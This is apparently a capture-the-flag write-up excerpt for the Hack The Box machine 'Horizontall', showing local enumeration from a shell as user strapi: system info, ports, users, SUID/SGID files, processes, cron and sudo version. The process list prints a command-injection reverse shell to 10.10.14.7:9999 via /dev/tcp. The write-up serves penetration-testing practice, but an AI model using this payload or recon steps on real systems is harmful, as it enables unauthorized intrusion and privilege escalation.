System/Kernel


strapi@horizontall:~/myapi$ file /bin/bash ; uname -a ; cat /etc/*release
/bin/bash: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=12f73d7a8e226c663034529c8dd20efec22dde54, stripped
linux horizontall 4.15.0-154-generic #161-ubuntu smp fri jul 30 13:04:17 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=18.04
DISTRIB_CODENAME=bionic
DISTRIB_DESCRIPTION="Ubuntu 18.04.5 LTS"
NAME="Ubuntu"
VERSION="18.04.5 LTS (Bionic Beaver)"
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME="Ubuntu 18.04.5 LTS"
VERSION_ID="18.04"
home_url="https://www.ubuntu.com/"
support_url="https://help.ubuntu.com/"
bug_report_url="https://bugs.launchpad.net/ubuntu/"
privacy_policy_url="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
VERSION_CODENAME=bionic
UBUNTU_CODENAME=bionic

Ubuntu 18.04.5 LTS (Bionic Beaver) 4.15.0-154-generic x86_64

Networks


strapi@horizontall:~/myapi$ netstat -antup4
netstat -antup4
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 127.0.0.1:1337          0.0.0.0:*               LISTEN      1885/node /usr/bin/ 
tcp        0      0 127.0.0.1:8000          0.0.0.0:*               LISTEN      -                   
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -                   
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -                   
tcp        0    174 10.10.11.105:45718      10.10.14.7:9999         ESTABLISHED 9045/sh             
udp        0      0 10.10.11.105:53403      1.1.1.1:53              ESTABLISHED 9325/node           
udp        0      0 10.10.11.105:38161      1.1.1.1:53              ESTABLISHED 9294/node           
udp        0      0 10.10.11.105:33255      1.1.1.1:53              ESTABLISHED -                   

127.0.0.1:8000 127.0.0.1:3306

Users & Groups


strapi@horizontall:~/myapi$ cat /etc/passwd ; ls -lasht /home
cat /etc/passwd ; ls -lasht /home
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
syslog:x:102:106::/home/syslog:/usr/sbin/nologin
messagebus:x:103:107::/nonexistent:/usr/sbin/nologin
_apt:x:104:65534::/nonexistent:/usr/sbin/nologin
lxd:x:105:65534::/var/lib/lxd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq,,,:/var/lib/misc:/usr/sbin/nologin
landscape:x:108:112::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:109:1::/var/cache/pollinate:/bin/false
sshd:x:110:65534::/run/sshd:/usr/sbin/nologin
developer:x:1000:1000:hackthebox:/home/developer:/bin/bash
mysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false
strapi:x:1001:1001::/opt/strapi:/bin/sh
total 12K
4.0K drwxr-xr-x 24 root      root      4.0K Aug 23  2021 ..
4.0K drwxr-xr-x  8 developer developer 4.0K Aug  2  2021 developer
4.0K drwxr-xr-x  3 root      root      4.0K May 25  2021 .

developer

strapi@horizontall:~/myapi$ cut -d: -f1 /etc/passwd | xargs -n1 id
cut -d: -f1 /etc/passwd | xargs -n1 id
uid=0(root) gid=0(root) groups=0(root)
uid=1(daemon) gid=1(daemon) groups=1(daemon)
uid=2(bin) gid=2(bin) groups=2(bin)
uid=3(sys) gid=3(sys) groups=3(sys)
uid=4(sync) gid=65534(nogroup) groups=65534(nogroup)
uid=5(games) gid=60(games) groups=60(games)
uid=6(man) gid=12(man) groups=12(man)
uid=7(lp) gid=7(lp) groups=7(lp)
uid=8(mail) gid=8(mail) groups=8(mail)
uid=9(news) gid=9(news) groups=9(news)
uid=10(uucp) gid=10(uucp) groups=10(uucp)
uid=13(proxy) gid=13(proxy) groups=13(proxy)
uid=33(www-data) gid=33(www-data) groups=33(www-data)
uid=34(backup) gid=34(backup) groups=34(backup)
uid=38(list) gid=38(list) groups=38(list)
uid=39(irc) gid=39(irc) groups=39(irc)
uid=41(gnats) gid=41(gnats) groups=41(gnats)
uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
uid=100(systemd-network) gid=102(systemd-network) groups=102(systemd-network)
uid=101(systemd-resolve) gid=103(systemd-resolve) groups=103(systemd-resolve)
uid=102(syslog) gid=106(syslog) groups=106(syslog),4(adm)
uid=103(messagebus) gid=107(messagebus) groups=107(messagebus)
uid=104(_apt) gid=65534(nogroup) groups=65534(nogroup)
uid=105(lxd) gid=65534(nogroup) groups=65534(nogroup)
uid=106(uuidd) gid=110(uuidd) groups=110(uuidd)
uid=107(dnsmasq) gid=65534(nogroup) groups=65534(nogroup)
uid=108(landscape) gid=112(landscape) groups=112(landscape)
uid=109(pollinate) gid=1(daemon) groups=1(daemon)
uid=110(sshd) gid=65534(nogroup) groups=65534(nogroup)
uid=1000(developer) gid=1000(developer) groups=1000(developer)
uid=111(mysql) gid=113(mysql) groups=113(mysql)
uid=1001(strapi) gid=1001(strapi) groups=1001(strapi)

SUIDs


strapi@horizontall:~/myapi$ find / -perm -04000 -ls -type f 2>/dev/null
   132564    148 -rwsr-xr-x   1 root     root       149080 Jan 19  2021 /usr/bin/sudo
   133130     40 -rwsr-xr-x   1 root     root        37136 Mar 22  2019 /usr/bin/newgidmap
   133309     20 -rwsr-xr-x   1 root     root        18448 Jun 28  2019 /usr/bin/traceroute6.iputils
   133132     40 -rwsr-xr-x   1 root     root        37136 Mar 22  2019 /usr/bin/newuidmap
   133021     76 -rwsr-xr-x   1 root     root        75824 Mar 22  2019 /usr/bin/gpasswd
   132875     52 -rwsr-sr-x   1 daemon   daemon      51464 Feb 20  2018 /usr/bin/at
   132926     76 -rwsr-xr-x   1 root     root        76496 Mar 22  2019 /usr/bin/chfn
   133148     60 -rwsr-xr-x   1 root     root        59640 Mar 22  2019 /usr/bin/passwd
   133131     40 -rwsr-xr-x   1 root     root        40344 Mar 22  2019 /usr/bin/newgrp
   133168     24 -rwsr-xr-x   1 root     root        22520 Mar 27  2019 /usr/bin/pkexec
   132928     44 -rwsr-xr-x   1 root     root        44528 Mar 22  2019 /usr/bin/chsh
   139265    428 -rwsr-xr-x   1 root     root       436552 Aug 11  2021 /usr/lib/openssh/ssh-keysign
   133494     44 -rwsr-xr--   1 root     messagebus    42992 Jun 11  2020 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
   264183    100 -rwsr-xr-x   1 root     root         100760 Nov 23  2018 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
   133501     12 -rwsr-xr-x   1 root     root          10232 Mar 28  2017 /usr/lib/eject/dmcrypt-get-device
   134858    116 -rwsr-xr-x   1 root     root         117880 Mar 26  2021 /usr/lib/snapd/snap-confine
   133687     16 -rwsr-xr-x   1 root     root          14328 Mar 27  2019 /usr/lib/policykit-1/polkit-agent-helper-1
   262230     32 -rwsr-xr-x   1 root     root          30800 Aug 11  2016 /bin/fusermount
   262281     64 -rwsr-xr-x   1 root     root          64424 Jun 28  2019 /bin/ping
   262297     44 -rwsr-xr-x   1 root     root          44664 Mar 22  2019 /bin/su
   265633     28 -rwsr-xr-x   1 root     root          26696 Sep 16  2020 /bin/umount
   265624     44 -rwsr-xr-x   1 root     root          43088 Sep 16  2020 /bin/mount

SGIDs


strapi@horizontall:~/myapi$ find / -perm -02000 -ls -type f 2>/dev/null
   266772     36 -rwxr-sr-x   1 root     shadow      34816 Apr  8  2021 /sbin/pam_extrausers_chkpwd
   266871     36 -rwxr-sr-x   1 root     shadow      34816 Apr  8  2021 /sbin/unix_chkpwd
   133122     44 -rwxr-sr-x   1 root     mlocate     43088 Mar  1  2018 /usr/bin/mlocate
   132886     16 -rwxr-sr-x   1 root     tty         14328 Jan 17  2018 /usr/bin/bsd-write
   132921     72 -rwxr-sr-x   1 root     shadow      71816 Mar 22  2019 /usr/bin/chage
   132875     52 -rwsr-sr-x   1 daemon   daemon      51464 Feb 20  2018 /usr/bin/at
   153133     32 -rwxr-sr-x   1 root     tty         30800 Sep 16  2020 /usr/bin/wall
   132949     40 -rwxr-sr-x   1 root     crontab     39352 Nov 16  2017 /usr/bin/crontab
   136040    356 -rwxr-sr-x   1 root     ssh        362640 Aug 11  2021 /usr/bin/ssh-agent
   133000     24 -rwxr-sr-x   1 root     shadow      22808 Mar 22  2019 /usr/bin/expiry
   265288     12 -rwxr-sr-x   1 root     utmp        10232 Mar 11  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
   263848      4 drwxrwsr-x   2 root     staff        4096 May 25  2021 /usr/local/share/fonts
   138383      4 drwxrwsr-x   3 root     staff        4096 Aug  6  2020 /usr/local/lib/python3.6
   138384      4 drwxrwsr-x   2 root     staff        4096 Aug  6  2020 /usr/local/lib/python3.6/dist-packages
   263916      4 drwxrwsr-x   4 root     staff        4096 May 25  2021 /usr/local/lib/python2.7
   263982      4 drwxrwsr-x   2 root     staff        4096 May 25  2021 /usr/local/lib/python2.7/dist-packages
   295040      4 drwxrwsr-x   2 root     staff        4096 May 25  2021 /usr/local/lib/python2.7/site-packages
   272975      4 drwxrwsr-x   2 root     mail         4096 Aug  6  2020 /var/mail
   273074      4 drwxr-sr-x   3 root     systemd-journal     4096 May 25  2021 /var/log/journal
   294913     12 drwxr-sr-x   2 root     systemd-journal    12288 apr 13 16:39 /var/log/journal/3cc9504f7ded4867a4c8ca16476b1378
   272973      4 drwxrwsr-x   2 root     staff               4096 Apr 24  2018 /var/local

Processes


strapi@horizontall:~/myapi$ ps -auxwww
USER        PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
strapi     1833  0.0  0.3  76648  6820 ?        Ss   13:09   0:00 /lib/systemd/systemd --user
strapi     1874  1.1  2.5 886544 51428 ?        Ssl  13:09   2:38 PM2 v4.5.6: God Daemon (/opt/strapi/.pm2)
strapi     1885  6.7  4.3 924724 86996 ?        Ssl  13:09  15:15 node /usr/bin/strapi
strapi     9025  0.0  2.0 804808 40492 ?        Sl   16:42   0:00 npm
strapi     9043  0.0  0.0   4640   816 ?        S    16:42   0:00 sh -c strapi "install" "documentation && $(/bin/bash -c '/bin/sh -i >& /dev/tcp/10.10.14.7/9999 0>&1')"
strapi     9044  0.0  0.1  11604  2084 ?        S    16:42   0:00 /bin/bash -c /bin/sh -i >& /dev/tcp/10.10.14.7/9999 0>&1
strapi     9045  0.0  0.0   4640   828 ?        S    16:42   0:00 /bin/sh -i
strapi     9364  0.0  0.4  38980  9300 ?        S    16:51   0:00 python3 -c import pty; pty.spawn("/bin/bash")
strapi     9365  0.0  0.2  21364  4284 pts/0    Ss   16:51   0:00 /bin/bash
strapi     9542  0.0  0.1  38384  3492 pts/0    R+   16:54   0:00 ps -auxwww

It doesn’t let me see processes made by other users due to lack of privileges

Cron & Systemd


strapi@horizontall:~/myapi$ crontab -l ; cat /etc/crontab ; systemctl list-timers
no crontab for strapi
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
 
SHELL=/bin/sh
path=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
 
# m h dom mon dow user	command
17 *	* * *	root    cd / && run-parts --report /etc/cron.hourly
25 6	* * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6	* * 7	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6	1 * *	root	test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
#
NEXT                         LEFT          LAST                         PASSED  
thu 2023-04-13 17:09:00 UTC  13min left    Thu 2023-04-13 16:39:08 UTC  16min ag
thu 2023-04-13 22:39:00 UTC  5h 43min left Thu 2023-04-13 13:09:07 UTC  3h 46min
fri 2023-04-14 03:57:28 UTC  11h left      Thu 2023-04-13 15:02:36 UTC  1h 52min
fri 2023-04-14 06:25:32 UTC  13h left      Thu 2023-04-13 13:09:07 UTC  3h 46min
fri 2023-04-14 06:28:00 UTC  13h left      Thu 2023-04-13 13:45:48 UTC  3h 9min 
fri 2023-04-14 13:23:55 UTC  20h left      Thu 2023-04-13 13:23:55 UTC  3h 31min
mon 2023-04-17 00:00:00 UTC  3 days left   Thu 2023-04-13 13:09:07 UTC  3h 46min
 
7 timers listed.
Pass --all to see loaded but inactive timers, too.
lines 1-11/11 (END)

Sudo Version


strapi@horizontall:~/myapi$ sudo -V
Sudo version 1.8.21p2
Sudoers policy plugin version 1.8.21p2
Sudoers file grammar version 46
Sudoers I/O plugin version 1.8.21p2

Sudo version 1.8.21p2

Glibc Version


strapi@horizontall:~/myapi$ ldd --version
ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
Written by Roland McGrath and Ulrich Drepper.

ldd (Ubuntu GLIBC 2.27-3ubuntu1.4) 2.27